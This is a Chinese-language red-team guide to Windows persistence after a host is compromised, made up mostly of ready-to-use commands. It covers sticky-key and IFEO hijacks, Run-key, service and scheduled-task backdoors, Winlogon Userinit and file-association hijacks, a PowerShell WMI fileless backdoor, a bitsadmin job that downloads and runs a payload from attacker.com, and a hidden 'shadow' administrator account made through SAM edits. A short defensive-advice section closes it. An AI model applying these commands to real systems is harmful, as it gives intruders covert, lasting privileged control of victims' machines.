Windows权限维持总结
字数 1129 2025-08-05 08:18:04
Windows权限维持技术全面指南
0x01 前言
在红队行动中,获取主机权限后需要建立持久化据点,以便随时连接进行深入渗透。本指南将详细介绍Windows系统中多种权限维持技术。
0x02 辅助功能镜像劫持
传统替换方法
Windows辅助功能可在登录前通过组合键启动:
- 粘滞键:sethc.exe (5次Shift)
- 轻松访问:utilman.exe (Win+U)
- 其他辅助程序:
- 屏幕键盘:osk.exe
- 放大镜:Magnify.exe
- 旁白:Narrator.exe
Windows 2003/XP实现方法:
copy c:\windows\system32\sethc.exe c:\windows\system32\sethc1.exe
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
高版本系统IFEO劫持
映像劫持(Image File Execution Options)通过修改注册表实现:
注册表位置:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\目标程序
命令行实现:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
0x03 启动项/服务后门
开始菜单启动项
位置:
C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
相关注册表键:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
注册表启动项
用户级(无需管理员):
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
系统级(需管理员):
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
命令行添加:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Backdoor" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
自启动服务
创建服务命令:
sc create "ServiceName" binpath= "C:\path\to\malware.exe"
sc description "ServiceName" "Description"
sc config "ServiceName" start= auto
net start "ServiceName"
删除服务:
sc delete "ServiceName"
0x04 系统计划任务后门
每5分钟执行一次:
schtasks /create /sc minute /mo 5 /tn "TaskName" /tr C:\Windows\System32\cmd.exe
0x05 DLL劫持
DLL搜索顺序:
- 程序所在目录
- 当前目录
- 系统目录(SYSTEM32)
- 16位系统目录(SYSTEM)
- Windows目录
- PATH环境变量目录
Win7+需添加排除列表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
0x06 Winlogon用户登录初始化
注册表位置:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
修改Userinit:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\Windows\system32\cmd.exe" /f
0x07 Logon Scripts后门
注册表位置:
HKEY_CURRENT_USER\Environment
0x08 文件关联劫持
修改.txt文件关联:
reg add "HKCR\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "C:\Windows\system32\cmd.exe %1" /f
0x09 Bitsadmin后门
创建下载任务:
bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://attacker.com/payload.exe" "C:\payload.exe"
bitsadmin /SetNotifyCmdLine backdoor C:\payload.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor
0x10 进程注入
常见注入目标:
- User权限:explorer.exe
- System权限:winlogon.exe或lsass.exe
0x11 屏幕保护程序后门
注册表位置:
HKEY_CURRENT_USER\Control Panel\Desktop
修改屏保程序:
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /d C:\Windows\System32\cmd.exe
0x12 WMI无文件后门
PowerShell示例:
$filterName = 'BackdoorFilter'
$consumerName = 'BackdoorConsumer'
$exePath = 'C:\Windows\System32\cmd.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query}
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
0x13 影子用户
创建隐藏用户:
net user test$ 123456 /add
net localgroup administrators test$ /add
注册表修改步骤:
- 修改
HKEY_LOCAL_MACHINE\SAM\SAM权限 - 导出以下键值:
- 用户键(如test$)
- 包含用户F值的键(如000003EC)
- 目标用户键(如000003E9)
- 替换F值
- 删除原始用户
- 导入修改后的注册表
0x14 防御建议
- 监控注册表关键位置修改
- 限制高权限账户使用
- 启用完整进程审计
- 定期检查计划任务和服务
- 使用专业EDR解决方案
0x15 参考资源
- 影子用户技术详解
- WMI攻击与防御技术
- DLL劫持深入分析
- 各种权限维持技术的实际案例
本指南涵盖了Windows系统中最常见的权限维持技术,红队人员可根据实际情况选择合适的方法,蓝队人员则可参考此文档加强防御措施。